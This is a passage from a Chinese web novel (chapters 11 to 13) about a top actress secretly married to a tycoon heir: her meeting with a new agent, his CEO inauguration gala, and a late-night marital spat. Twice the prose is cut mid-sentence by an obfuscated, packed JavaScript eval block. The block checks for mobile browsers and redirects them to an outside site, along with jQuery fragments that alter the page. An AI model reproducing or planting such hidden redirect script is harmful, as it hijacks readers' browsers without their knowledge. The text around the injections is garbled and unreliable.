秦清问一句,她答一句,支支吾吾,手机屏幕快抠出洞了。
秦清打电话给她的时候,她觉得已经够离谱了,现在才发现,更离谱的还在后面。
不然为什么车子会驶进紫金湾,那个六位数一平的超级豪宅区。
橙子犯晕了,车上晕,下了车继续晕。
恍恍惚惚跟秦清走进一座堪比宫殿的别墅,她好像晕得更厉害了。
佣人蹲下来要为她换鞋,吓得她不住摆手,“不、不用了,我自己来。”
温珍旎还没有来,佣人把她们安排在会客区。
橙子安静地坐着,让喝茶就喝茶,让吃水果就吃水果,上学都没这么听话过。
看她紧张的样子,秦清都忍不住笑了,“去的大型场合也不少了,你这样怯场可不行。”
橙子也怕给温珍旎丢人,深吸了一口气,暗示自己保持镇定。
温珍旎和佣人从楼上下来时,她跟着秦清起身,偷偷地朝她挤了一下眼。
温珍旎回她一个安抚的笑容,然后大方得体地走向秦清,伸出右手,“秦小姐您好,我叫温珍旎。”
她说我叫温珍旎,而不是我是温珍旎。
把自己的位置摆放得很明确,是谦虚请教的态度。
“温珍旎小姐,久仰大名。”
秦清对她的初印象不错,轻轻拢住指尖,“以后大家一起共事,用敬称就太奇怪了。你叫我秦姐吧,如果不介意,我叫你珍旎?”
“好,秦姐,咱们坐下聊吧。”
温珍旎还怕跟她不合拍呢,这样一来,一下子拉近了距离。
大家在沙发落了座,趁着喝茶的空隙,温珍旎悄悄打量起这位王牌经纪人。
骨架很小,面容平和,比起视频上看到的,本人要随性得多。
一起共事的话,应该不用磨合太久。
秦清放下手里的茶杯,“你应该有所耳闻,我这人工作上要求严格,说话也直接。”
温珍旎点头:“建设性的批评我都接受。”
她也是有人格尊严的,不会把自己放在很低的位置,作为任人包装的人偶存在。
秦清听懂了她的意思,笑着点头,“我看过你以往的作品,优缺点明显,我列了一张职业发展规划,晚点发到你邮箱里。”
她的废话很少,上来就直接表态,“慈总给的薪水相当丰厚,我不会辜负这份期望,往后会尽自己最大的努力去完成工作。你要做的是配合我,咱们一起加油,一起做大做强。”
“没问题,我服从安排。”
温珍旎特别上道,“那接下来我该做什么呢,秦姐。”
“先沉淀下来,理清未来的方向。”
秦清不打无准备的仗,“掉价的商演浪费时间,以后都推掉,综艺方面暂时不考虑,有合适的我会留意。现在主要考虑剧本,这方面我接到了一些,需要再筛选一波。”
“我也是这么想的。”
温珍旎接受她的看法,听她讲了一个钟头的规划。
说到后面,秦清突然问:“你是不是很久没休息了?”
不明白她问这个的缘由,温珍旎还是点点头,“出道后的行程安排一直很满,最长的假期不超过十天。”
“给自己放个假吧。”秦清建议她,“工作,谈恋爱,都可以。体验一下不同的人生,这样才能磨出锋利的剑。”
她还真是直言不讳,什么都敢说。
旁边的橙子倒抽一口气,端起一杯水,掩饰着自己的露怯。
温珍旎却始终一脸淡定,“当红艺人曝出恋爱,就是一场豪赌。”
她笑着说:“何况我结婚了,没有恋爱可以谈了。”
“……咳咳。”橙子成功地被水给呛住了,“什么,你结婚了?”
11. 011
试问,还有比自己老板隐婚更爆炸的新闻吗。
沉默的橙子忍不住了,“珍旎姐,你什么时候结的婚,我竟一点都不知道!”
温珍旎竖起三根手指,“三年前领的证。”
橙子:“……”
所以,她跟了温珍旎这么多年,居然一点端倪没发现。
橙子吞着口水,目光游离在这座宫殿一样夸张的大房子。
挑高的大堂,头要仰到极致才能看清屋顶上的细节。建筑是法式的,里面装修却是法式中国风,从里到外透着庄重又奢华的复古感。
住在这种地方,主人的身家得多壕。
她后知后觉的,自己好像抱上了一根特粗的大腿。
不过看秦清的神情反应,似乎一点也不惊讶。
八成是知道隐婚内情的。
“结了婚也是可以谈恋爱的嘛。”
秦清说:“体会七情六欲,记住痛苦和甜蜜,复杂的情感有助于理解角色,塑造角色,这是赋予人物灵魂最简单的手段。”
用了半天的时间,秦清把她的已播剧从头捋了一遍,期间换了三回茶。
到了中午,温珍旎留她用午餐,秦清说不了,要早点回家。
“家里孩子还小,我要是不在,就闹脾气不肯吃饭,我得尽早回去守着。”
讲到自己的孩子,瘦小的女人眼睛亮晶晶的,“等你有了宝宝就会明白,当了妈妈,孩子就是心头宝,离开一时半刻总是牵肠挂肚的。”
金慈两家其实也有小辈,但不常在这边,温珍旎确实不能体会,只好笑笑,亲自送她出了门,把她送到车上。
秦清隔着窗看她,“忘了问你了,还要再配一名助理吗?”
“不用了,橙子可以搞定。”
温珍旎看一眼橙子。
橙子反应过来,赶紧举手表态,“秦姐放心,我会加油干的,不会让你失望。”
小姑娘办事不够老练,秦清其实不太满意。
但经过短短的相处,看得出她时刻为温珍旎着想,态度还是不错,至于能力,还可以调.教。
“那咱们就下次见了。”秦清说完,示意司机开车。
这地方不好打车,橙子跟着一起来的,自然跟着一起走。
可好奇心还没得到满足,心里跟猫抓似的。
白天聊的全是工作,一直没机会插嘴,晚上回到家,那颗好奇的心实在按捺不住了,就开始八卦起当事人。
橙子:【珍旎姐,快告诉我,姐夫是不是我知道的某位大佬?】
温珍旎刚洗完澡,吹完头发出来,看到橙子的消息,唇角向上翘起一个浅浅的弧度。
指尖在屏幕上轻点:【下次见到就知道了,到时候介绍给你认识。】
至于是不是大佬……
温珍旎看向卧室透出的暖黄灯光,敲下一行字。
【不是大佬。】
【是巨佬。】
回完消息,温珍旎随手将长发一挽,唇里哼着歌,脚步轻快地回到卧室。
看她心情很好,眉心也跟着舒展,
灯下,松垮系着睡袍的男人坐在天鹅绒双人沙发上,膝上摊着平板,在看公司第一季度的报表。
听见她哼歌的声音,眉心不自觉地舒展开,“有那么高兴?”
“高兴啊。”
温珍旎坐到身边去,伸出手臂环住他的胳膊,侧头靠在肩头,目光落到屏幕上密密麻麻的文字,语气带点娇嗔,“这么晚了还工作。”
“随便看看。”
慈恒低应一声,视线还没离开屏幕,只是微抬起下巴,蹭着她柔软的发顶,“下午见到经纪人了?”
“见过了,特有个性的一个姐姐。”
喜欢就是喜欢,不喜欢也不能硬说喜欢。
温珍旎语气里不吝啬表达对秦清的欣赏,“她性格对我胃口。”
慈恒蹭着她的发顶,“是蒋卓凡牵的线。算我欠他一次人情。”
温珍旎笑着调侃,“斯拉夫人也论人情债?”
“有人的地方就是社会,就得讲人情,一码归一码。”
慈恒关上平板,用力揉她脑袋,“懂了吗,笨蛋。”
男人手掌宽厚,虽然摸着很舒服,但温珍旎总觉得哪里怪怪的。
她偏头躲开他的手,“你每次摸我头的时候,特别像摸狗。”
慈恒低头闷闷地笑,又揉了揉她的发顶,“你不就是快乐小狗。”
这话听着更怪了。
小狗明明是粉丝对她的爱称,慈恒这人从来不关注娱乐圈,连她参演的角色都未必记得名字,怎么会知道这个特定称呼呢?
是巧合吧。
温珍旎默默想着,试图说服自己时,慈恒又打断了她的思绪。
“你不是想养狗,明天正好有空,带你去挑一只品相好的。”
都多少天的事了,她早把这茬给忘了,他又提。
“还是不要了,等我们以后有宝宝了再考虑吧。”
温珍旎轻轻摇头,语气认真。
是他说的,养了狗就要对狗狗负责。等她新戏进组,也就顾不上了。
说完,她觉得这话题有点扯远了,便低垂眼睫,把玩起他修长有力的指节,“对了,妈妈给我定了裙子,庆典那天穿。”
她捞过手机,把保存的图片调出来,划动着放给慈恒看,“你快帮我看,穿哪套合适?”
庄明华的审美是妥妥的奢华派,尤其钟爱流光溢彩的宝石点缀。
慈恒浏览下来,果不其然,重工刺绣,宝石珠片,是他母亲大人一贯的风格。
“金色这套。”
富贵亮眼,打人群里一眼望过去,最醒目的就她。
温珍旎不知道他心里所想,偏头端详了片刻,缓缓点头,“也行,正好配你送的海珍珠。”
泰华的周年庆没剩几天了,她也该认真准备起来了。
在家休息的这几日,秦清把职业规划的文档传了过来,与此同时,不少剧本也相继递到她手里。
秦清比对筛选过一次,把最合适的留下。
钟雪制片的《名流》也在其中。一流的投资,精心打磨的剧本,顶尖的制作团队,百分百的好饼,没道理拒绝。
只是钟雪的剧筹备时间相当长,时间算下来,估计下半年才能开机。
她作为超一线艺人,空窗期不能太长。
被遗忘,对艺人而言是致命的。
所以秦清的意见是,接一部偶像剧,维持住粉圈现有的热度。
不知道是秦清对自己有信心,还是真的对她有信心,居然没有半点担忧,“我看好的这部偶像剧,剧本和制作没问题,而且很大可能码到超一线男演员。”
温珍旎演过小成本偶像剧,但是第一次担纲这样的大制作,压力其实不小。
“我要不要请个表演老师,冲刺一下?”她问。
秦清对此不作要求,“别有压力。好好休假,谈谈恋爱,等你放松了身心,拿出最好的状态,一切都有解法了。”
恋爱……
跟她那个熟得不能再熟的老公?
这道题超纲了。
**
经过秦清的综合考虑,最终给她接下了《独家心动》这部剧。
言情小说里的大IP,自带热度,不缺讨论度。
秦清没有题材歧视,最看重角色和演员的匹配度,以及剧本的完成度。
她带过的艺人所有的题材都接触过,也出过口碑热度齐飞的作品。
温珍旎拿到剧本后,花了几天时间疏离,写的蛮好,不知不觉被剧情牵着走。
看到结尾,合上剧本,外面的天空已经被大片晚霞晕染。
她伸着懒腰走到窗前,对着天空拍照片的时候,看到楼下车道上,宾利慕尚正往这边驶来。
“太太。”佣人从外面进来带话,“先生回家了,该准备出发了。”
今天是周年庆的晚宴,七点半开始,还有一个钟头的时间。
温珍旎说知道了,去换了礼服。
画完妆出来,慈恒正在穿衣镜前更衣。
黑色的丝绒西装,配深色暗纹领带,低调优雅的款式。
男人本就优越的眉眼衬得愈发精神,那些戾气和锋芒,都在无形中收敛了。
儒雅禁欲风格的慈恒,难得一见。
温珍旎眼里掠过惊艳,由衷地夸道:“这套西装真好看。”
简洁利落,商务又适合晚宴。
“只是衣服好看?”慈恒哼道。
温珍旎抿唇笑,“当然还是因为我老公太帅了,天生的衣服架子。”
衬衣领后面有些翘起,她走上前帮忙整理。
高度够不着,慈恒搂着肩把人拉到身前,好方便她的动作。
慈恒从镜子里看人,顺手理好她后背散乱下来的头发。
温珍旎扣好了西装纽扣,端详几眼,总觉得缺了点东西,“等一下。”
她打开放珠宝的抽屉,找到上次拍卖的那枚祖母绿胸针。
晚宴以庆祝为主,不是那么严肃的场合,可以戴一枚胸针装点。
温珍旎给他别在了领带上。
慈恒:“你确定要我戴这个?”
“怎么了嘛,我觉得好看啊。”温珍旎特别满意。
慈恒:“你高兴就好。”
低头打量她身上的礼服,才发现后背是绑带设计,大片肌肤都露在外面。
五月的天气时冷时热,他抚了抚她的背,有些冰凉,“司机在楼下等,把外套穿好再出去。”
有艺人在的场合,就有各家媒体在,往往这时候他们都是要分开走的。
温珍旎和其他受邀的艺人需要提前到达,所以这会儿就得出发。
慈恒看着她离开房间,走到窗前,目送她坐上保姆车。
等到座驾驱离了视线,他穿上大衣,垂眸整理衣袖时,看到空空的手指,失神了一瞬。
佣人上楼整理衣帽间,意外发现慈恒没走,正一脸困扰地对着抽屉柜子,似乎在寻找什么。
“先生在找什么?需要我帮忙吗?”佣人恭敬地询问。
慈恒想说不必了,但是抬头扫过眼花缭乱的抽屉柜子,还是无奈地开口求助,“你知道太太把结婚戒指放哪儿的吗?”
佣人闻言一笑,“在太太的珍宝房呢,我去拿吧。”
两人的服装首饰都有专人负责打理,什么首饰放在什么地方,一清二楚,所以很快就把他要的东西找到了。
婚戒不是定制的对戒,温珍旎的那枚有个好听的名字,叫“粉红星海”,是出自南非的艳彩粉红钻。
当年慈家为了向金家下聘,以三千万美金拍下,作为温珍旎的婚戒。
他的那枚是根据女戒样式做的设计,取自奇缘珠宝和明华珠宝的三色金,做成纽带缠绕的形状,戒托上刻了两家缩写JC。
JC缘定一生系列。
意在两家缔结姻缘,结为秦晋之好。
他取出自己的那枚婚戒,指腹在戒圈内侧的刻痕摩挲了一下,然后将戒指稳稳推入左手无名指。
**
泰华八十周年庆典,也是慈恒的就任仪式。
这次盛会,董事长夫妇也要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861609|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到场。
因此今天一早,慈邵就偕同夫人庄明华女士返回了天海市。
快到七点时,受邀的合作公司代表和贵宾陆续到场,还有邀约的主流媒体,行业媒体,以及部分娱乐公司。
现场来的艺人不少,大部分是有公司品牌合作的。
宴会开始前,温珍旎和所有人在休息室里坐等。
网上已经放出《独家心动》的选角风声,讨论度比预期高很多,温珍旎刚露面就被圈内艺人拉着说话。
她借口去洗手间,才脱身出来。
今天的橙子兴奋到不行,“这段时间我补了原著,甜到掉牙了。姐,你在家一定好好看剧本,我有信心会大爆。”
这几天的橙子助理像上了发条的报时器,生怕她懈怠了,想起来就提醒她一回。
温珍旎耳朵快听出茧了,“一天催我八百遍不止,生产队的驴也不带这么干活的吧。”
橙子笑嘻嘻道:“还不是怕你忘了嘛!”
看她开心成这样,温珍旎无奈一笑意,“服了你了,走吧。”
时间到了,该入场了。两人从洗手间出来,朝着宴会厅走去。
刚走到拐角,前方入口处忽然传来一阵匆匆脚步声,伴随着吵嚷声,一行人声势浩大地走了过来。
光是工作人员就有七八个,簇拥着中间的女人,阵仗之大,瞬间攫取了所有人的目光。
那女人一头栗色大波浪,穿一条火红的斜肩礼服,全程昂着头,吊着薄薄的眼皮,脚上的恨天高敲得钉子似的,整个走廊都是铿锵有力的回声。
她也不懂得避让,竟肩头撞开挡路的人,带着一股霸道的气势扬长而去。
甚至还能听到她边走边不耐烦地数落着身旁的助理,“笨手笨脚的,连个小事都做不好。”
“啧,又是这个余蓝飞。”橙子在一旁看得直撇嘴,压低声音吐槽,“看她这架势,不知道的还以为走奥斯卡红毯呢,排场真大。”
温珍旎只是淡淡瞥了一眼,完全没放在心上。
进场落了座,她发现余蓝飞的位置就在不远处,此刻她拿着一面小镜子,正旁若无人地补着妆。
“看什么呢?”奚淼过来就看见她盯着一个女人看,笑着打趣,“又不是你的绝世好基因,眼睛都看直了。”
“没什么。”
温珍旎拉着她在身边坐下,随意朝前排主桌方向扫了一眼,果然看到她父亲金宵端坐在最显眼的席位上。
可惜现场媒体云集,长枪短炮环绕,实在不方便过去打招呼。
她端起奚淼递给的葡萄酒杯,浅浅抿了一口。
就在这时,奚淼突然凑近,视线瞟向前方某个身影,满是促狭道:“不愧是你挑的基因啊,别的不说,单论这长相身材,比那些男明星还抢眼……”
温珍旎顺着奚淼的视线望去,只见人影憧憧的宴会厅入口,慈恒正领着总部高层,自侧面的过道从容步入。
身姿挺拔卓越,宽肩窄腰在剪裁完美的西装下一览无余,哪怕身处一群气度非凡的精英中,那气场仍在瞬间吸引了全场的视线焦点。
平日里朝夕相对,已经习以为常,没觉得多特别。可此刻隔着人影望去,只是一个背影,就能让人看得目不转睛,心跳不已。
“还好是我老公。”
奚淼轻轻地拧她的脸,“你是真不谦虚啊。”
温珍旎偏头躲开她的手,故意板着脸,“不要拧女明星的脸啦。”
随着宾客渐次落座,晚宴正式拉开了帷幕。
泰华精神矍铄的董事长慈邵登台致辞,并宣布集团的重要决定,正式任命慈恒为新任首席执行官。
聚光灯骤然汇聚,笼住了那道矜贵儒雅的身影。慈恒从容起身,步履沉稳地站上发言席,声音透过麦克风,清晰有力地回荡在宴会厅。
在发言稿中,他着重强调,公司今年的核心战略是全力推进智能AI,加速将尖端AI技术投入到医疗健康和救援设施。
这段就任发言,虽然冗长,却丝毫不显枯燥。
台下,温珍旎微仰着头,目光追随着聚光灯下的身影。
她听得异常认真,几乎将他的每一个字,都珍重地放入了心底。
光影勾勒着他专注而自信的神情,温珍旎心底悄然升起不一样的情愫。
原来,意气风发的他,是这个样子。
就算表情平静地说着对集团未来的规划和期许,嗓音也分外性感,撩人撩到腿软。
某个瞬间,温珍旎仿佛又回到了婚前,婆婆庄明华握着她的手,温柔地讲述起慈恒的成长。
商业巨擘慈家给了他优渥富足的家世,祖辈军政的庄家则负责他的教育,教他怎么做人。
从出生的那一刻,他便拥有了别人终其一生都可能无法企及的高度。
生长在这种环境下的子弟,吃尽红利,言行举止本来就更受外界的关注。
他的外公就常告诫他,不要自恃身份做高山上的白雪,要去贫瘠的土地做一粒尘埃,他不一定要有同理心,但要有悲悯之心。
听起来很空洞的话,可是在这一刻,似乎具象了起来。
温珍旎不否认,有被震撼到,有被狠狠地吸引了。
在他鞠躬致谢,在掌声中退场时,她飞快地解锁手机,镜头对准他的背影,将这一刻珍重地定格。
“发微博?”一旁的奚淼捕捉到她的小动作,眼神意味深长。
“嗯。”温珍旎大方地承认了,“很有意义,必须纪念一下。”
选好照片后,她编辑了一条微博。
温珍旎V:今晚看到星星了。
12. 012
微博发送成功后几秒,“叮”的一声提示音,慈恒握在掌心的手机屏幕倏然亮起。
点开通知栏的推送消息,跳出来一条微博动态。
很日常的分享,几张宴会厅的随手拍中,夹着一张他低头鞠躬的照片,今晚宴会厅两侧布置了蓝色星星装饰,在调暗的灯光下闪烁,星星点点的光芒洒落在他肩头,倒也符合文案所说,可以看到星星。
慈恒目光在那张抓拍上停留几秒,唇角牵动了一下,他点开评论,回复了一张照片。
晚宴结束,宾客陆陆续续退了场,他也随之起身,和公司高层一起离席。
因为还有和合作方的酒局安排,他边走边拿出手机,给温珍旎发了条信息,嘱咐她先回顶层套房休息。
刚发完信息,走在前方的岳父忽然回身朝他招手:“小恒,你来一下。”
慈恒收起手机,快步上前,微微倾身低头,“爸。”
金宵身材微胖,笑起来时双眼微弯,眼角堆起笑纹,本就和蔼的面相越发的平易近人。
“小恒啊。”看着眼前挺拔出众的年轻人,想到就任仪式上的意气风发,金宵眼中的欣赏愈胜,手掌扶着慈恒的肩膀,有力地拍了两下。
“你跟珍旎都多长时间没回来看爸爸了,这周说什么也得空出时间回来。爸爸亲自下厨,给你们做顿好的。”
慈恒迎着岳父满是期待的目光,笑着应下,“明天我就带她回来。”
他又温声补充道:“是我工作疏忽了,以后一定常回来看您。”
前段时间的泄密风波闹得满城风雨,金宵当然清楚,自然也体谅他坐在这个位置上的诸多不易。
在慈家年轻一辈里,慈恒的远见和能力都是最拔尖的,金宵打心眼里欣赏这个女婿,“年轻人有事业心,肯拼搏,是好事,爸爸支持你。但也要注意劳逸结合,别累垮了身体。”
“好。”
慈恒单手扶着金宵,翁婿俩低声交谈着,一同出了宴会厅。
走到连接宴会厅与通道的长廊几何玻璃前时,一个身着酒红色礼服的身影笑吟吟地迎了上来。
“大伯。”
余蓝飞扫了眼周围,瞥见不远处还有几家媒体在附近,脸上的笑容加深了,极其自然地挽住金宵的手臂,“刚才我还说跟大伯打招呼来着。”
说话间,她那双精心描画的眼睛,不着痕迹地落在慈恒脸上。
金宵看着身边的侄女,脸上挂起慈爱的笑容,为他介绍道:“飞飞啊,这是你姐夫,也是泰华总裁慈恒,就任仪式上应该见过了。”
说着又向慈恒介绍道:“这是我弟弟的女儿余蓝飞。”
余蓝飞嘴甜地唤道:“姐夫好。”
金家那边的人,就算是远房亲戚,慈恒也都是有印象的。唯独这个侄女,却是第一次露面,还是外姓,想来有些渊源在里面。
慈恒垂眸颔首,算是打过招呼。
见他神情冷淡,连寒暄应付都不肯的样子,余蓝飞脸色有些讪讪。
但她飞快地调整好了表情,状似无意地扫视一圈,“堂姐没跟你们一起么?”
她道:“爸爸跟我说,堂姐也在娱乐圈,可惜我一直在忙,都没机会见到她呢。”
“可能是先走了。”
金宵没察觉到侄女的异常,以为只是寻常的问候。他轻轻拍了拍挽在他胳膊上的手,“飞飞,你也早点回去休息吧,我和你姐夫还有商业酒局。”
逐客之意明显,余蓝飞听懂了。饶是她性格娇纵,也明白该告辞了。
她脸上堆起乖巧得体的笑容,“那我下次再来看大伯和堂姐。”
“嗯,去吧。”
余蓝飞扫了眼全程心不在焉的慈恒,松开金宵,转身朝着长廊尽头的工作人员去了。
看着一群人慢慢走远,金宵才转过头来,跟慈恒说起,“她是你二叔跟初恋女友的非婚生女,认回不到一个月,和旎旎一样在娱乐圈。”
“你二叔拜托我看顾她,如果将来应酬碰上了,能给照顾就给些照顾吧。”
随手给些方便,举手之劳而已,他也不吝惜指缝漏那么一点。
慈恒淡淡地“嗯”了声。
他对这事不感兴趣,自是不会追问下去。
这边散场后,泰华的高层们陆续去了贵宾级包房,温珍旎一行人则是进了餐厅。
宴席上没怎么吃东西,都打算再觅点食物。
“姐,今天这么大的场合,你家大佬来了吗?”
橙子早就想问了,趁着这会儿机会不易,她得赶紧八卦。
“那肯定得来啊。”奚淼抢过话,望着温珍旎,笑得牙花子白晃晃的,“他要是不来啊,这庆典就开不成了。”
“啊?”橙子没明白,但不影响她熊熊的八卦之火,“也不知道是什么样的大佬,居然能拿下珍旎姐。”
“等你见到就明白了。”
奚淼笑得没心没肺,眼神一扫,突然抬起下巴往某个方向一指,“喏,你姐的强这不就来了。”
在看菜单的温珍旎闻言抬了眼,便看到慈恒迈着那双优越的长腿,远远地走来。
他脱了外套,衬衣袖口挽到小臂,露出劲瘦的手腕,塞了衬衣下摆的西裤衬得双腿修长,步伐从容有力,带着浑然天成的掌控感。
那腿笔直得过分了,更不必说身材比例,矜贵端方的气派,妥妥的就是视觉享受,看多少次也不觉得腻。
“好帅,是公司的艺人吗?”
橙子飞快地在脑子里搜刮了一遍,十分笃定地摇头,“这么帅的艺人我不可能没印象的。”
双手抱臂的奚淼啧了一声,“瞧他那样,眼睛都长脑袋顶上了,帅什么呀。”
“姐,他好像往我们这里来了。”橙子吞了一下口水,紧张得肩膀都绷紧了。
随着他的走近,空气似乎都变得稀薄了。
这人的气场好强,那股冷冽锋利的气质仿佛是天生的,一个眼神就把橙子给唬住了。
慈恒单手解了一颗纽扣,朝温珍旎俯下身的那一刻,橙子瞳孔放大,眼里流露出万分震惊。
这男人,干嘛突然贴这么近。温珍旎下意识往后仰,朝他身后方向扫了一眼,没有看到其他人。
“爸妈呢?”她问。
“去包房了。”
慈恒伸手抚她发顶,声音沉缓,“吃完宵夜就回套房休息,我可能要很晚。”
温珍旎乖巧点头,“好。”
慈恒就是专门过来带话的,说完也不逗留,又朝着另一个方向走了。
橙子许久都没缓过神,奚淼抬手在她眼前晃,“魂还在吗?”
橙子捧住脸,“阳光明媚的顶流女明星,帅气多金还戴婚戒的霸道总裁。这不妥妥的小说照进现实嘛。”
“……”没救了。
奚淼抬起脚尖,踹了踹对面的人,“强哥肯定要应酬到晚了,姐来的时候带了衣服,咱们吃完就换衣服出去玩呗?”
什么强哥,温珍旎鼓着圆圆的眼睛瞪她,“乱给人取绰号。”
“强强联手,你是强姐,他是强哥,我也没说错啊。”
看她表情不乐意,奚淼立马改正,“我错了,恒哥总行了吧。”
她眨眨眼,“秀色新来了几个男模,身材特别棒,你陪我去。”
“我不去。”
温珍旎把菜单递给服务生,拒绝得果断,“你那些勾当我才不参与,我可是良家妇女。”
奚淼服了她了,“行,良家妇女,不去秀色,陪我看电影总行吧。”
这倒是可以考虑。
温珍旎点头,“闲着也是闲着,舍命陪君子了。”
说走就走,吃完夜宵,两人换了身日常衣服,就直奔附近的电影院。
奚淼选了部文艺片,两个小时的深夜场。
看完都过了凌晨,从电影院出来,手机里赫然躺着几通未接来电,都是慈恒打的。
她准备打回去,指尖划过回拨键,屏幕直接一暗,彻底陷入了沉寂。
低电量自动关机了!
“完蛋,我得赶紧回去了。”她有一种不好的预感。
顾不上多想,跟奚淼告了别,她匆匆拦了辆出租车就往酒店赶。
酒店在泰华旗下,是天海市总店,顶层的几间套房都是留给慈家人下榻的。
门没关,温珍旎捂着胸口,屏住呼吸,蹑手蹑脚地进了玄关。
客厅里没人,只有卧室透出暖黄的灯光。
慈恒背对着门口,站在巨大的落地窗前,正慢条斯理地将衬衣袖扣摘下来。
衬衣还整齐地穿在身上,服帖地裹着身材,肌肉线条在布料下若隐若现,勾勒得起伏流畅。
男色当前,可惜现在不是欣赏的时候。
温珍旎鼓了鼓唇,小小平复了一下心跳,抬步准备走向他,便听到一声低沉的嗓音。
“还不进来,磨蹭什么?”
温珍旎吓了一跳,拍着胸口,“你吓到我了。”
他背后是长了眼睛吗?
慈恒转身瞥向她,眼神中带着审视,“还不错,记得回来的路。”
习惯了他的阴阳怪气,温珍旎差不多已经练就了百毒不侵的本事。
面对这种吃软不吃硬的狗男人,服软才是杀手锏。
“……老公。”她两只手绕过男人的腰,把脸颊贴在他胸口上,“我就和奚淼出去了一小会儿,看了一部电影。”
语气软糯,带了一丝天生的甜腻,“求求你,就不要骂我了好不好?”
认错态度是有的,是不是真心就另当别论。
男人的嗓音依旧低沉冷淡,“大半夜一声不吭地跑出去,电话不接,微信不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861610|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回,胆子越来越肥了。”
狗男人开始兴师问罪了。
温珍旎来回蹭着他胸口,“那你要怎样嘛?”
望着他冷峻的神情,眨巴着眼,似要看他接下来如何处置自己。
慈恒能如何。
一拳打在棉花上罢了。
他沉了一口气,“晚上岳父跟我说,有时间了回去看他。明天正好休假,一起回去。”
温珍旎点头,“嗷,知道了。”
“就怕你主意太大,不知道。”
他松开人,一手扯开领带,又绕回了原来的问题:“为什么不回电话?”
一条没回,再打就关机了,还得通过她的助理才知道行踪。
温珍旎心虚地挪开视线,“出门忘记充电了。”
她按着侧键,把黑了屏的手机给他看,“我有证据的,还有人证奚淼。”
慈恒哼笑,摸索着解开衬衣扣子,“奚淼,奚淼,我看你对她的态度,比对你老公真诚。别以为我不知道,你嘴上服软,心里在骂我。”
他抬起温珍旎的下巴,迫她仰起头,“说说看,是怎么骂我的?小骗子,装得挺乖,把你男人当傻狗耍是吧。”
温珍旎用力眨着眼,乖巧得不行,“我性格这么好,怎么可能骂你。”
真要说骂他,也就无伤大雅地骂了他一句狗男人。
“说真话。”慈恒不放过她。
温珍旎泄气地垂下肩膀,“好吧,我骂了,狗男人。”
慈恒没忍住笑了,笑得跟平时的稳重不大一样。
别不是给气疯了。
不至于吧。
情绪稳定的大佬,一句“狗男人”就破防了。
“也不算是骂吧。”温珍旎试图为自己找补,“你可以认为是一种情趣,毕竟我没这么骂过别人。”
“那我还要谢谢你了。”男人咬着牙取下领带。
“不用谢。老公,我帮你吧。”温珍旎忙着上手,帮他解开剩下的白蝶贝扣。
扣子带着体温,她的手指冰凉,落在胸口冷得人一激灵。
“手冷成这样,属蛇的?”
慈恒捏住手腕将人拎到一边,拿了睡袍去浴室。
温珍旎尾巴似的跟在身后,他刚脱下衬衣,就看到温珍旎虎视眈眈盯着他,“擦擦口水,掉脚背上了。”
然后毫不留情地关上了门。
“……”
一眼都不给看,真小气。
温珍旎撇了下嘴角,踢飞拖鞋,一头扎进被窝,用枕头蒙住脑袋。
听着哗哗的水流声,又从被子里爬出来,拿过床头柜上慈恒的手机。
打开的页面刚好停留在微博推荐页。
是泰华官方发布的公告新闻,简述了今天庆典上慈恒的就任发言,以及公司未来的发展方向。
其余的推送内容都是看不明白的新闻,单调乏味得很。
没劲,不如睡觉呢。
兴致缺缺地划了两页,她把手机放回床头柜,蒙头睡了。
慈恒洗完澡出来,房间已经关了灯,他借着床头灯的光掀开被子。
躺下来的动静有些明显,旁边的被子跟着鼓了鼓。
“热,别挨那么近……”温珍旎推开忽然靠近的热源,咕哝着把脸埋进枕头。
热是吧。
慈恒掀开被子下了床。
窸窸窣窣一阵,也不知道做什么,过了一会儿旁边才重新陷下去。
片刻之后,温珍旎忽然觉得有些冷,又往他的方向靠去,迷迷糊糊地问:“开空调了吗?”
慈恒脸不红心不跳,“没有,可能是降温了。”
“噢。”温珍旎拱了拱,找到一个舒服的位置。
慈恒把人收进怀里,捏好被角。
温珍旎嘴上说着好冷,扒着慈恒睡了一晚。
早上被突兀的闹铃吵醒,她半睡半醒地翻了个身,把被子拉起来捂住脑袋。
铃声萦绕在房间,温珍旎轻踹一脚旁边的人,“关闹钟。”
慈恒睡眼朦胧,认命地起床,够到她那边的床头柜。
把闹钟掐掉,揉着乱糟糟的头发去了盥洗室。
等他洗漱回来,温珍旎还在赖床。
“等着我帮你穿?”
被子底下没动静,慈恒伸出掌心掐她的脸。
“中午直接回家吃午饭。”温珍旎为赖床找借口。
“懒东西。”慈恒低头吻她额头。
“睡觉呢……讨厌。”温珍旎睁开朦胧睡眼。
随着呼吸渐粗,他喉结微动,纤薄的眼皮垂下,绵密的睫毛像两把小刷子,有点好看。
可惜某个人的嘴很煞风景,“不起来的话,就交作业了。”
“!”温珍旎彻底清醒了,一把推开他欺近的胸膛,趿上拖鞋往盥洗室去。
13. 013
林诺掐着时间送来了换洗的衣物,梳洗完毕,夫妻俩下楼来吃早餐。
餐厅里,慈邵夫妇和两人的小儿子慈宇已经在了。
公公慈邵一如新闻上看到的那般儒雅,端方有礼,带着久居上位的沉稳气度。保养得宜的婆婆庄明华钟爱国风裙装,腕间特意戴了一串凤眼菩提,华贵中透着温婉大气。
进餐时,两人虽未言语,但一个动作,一个眼神,自然而然流露出来的默契和温情,可以证实圈内最低调的恩爱夫妻并非虚言。
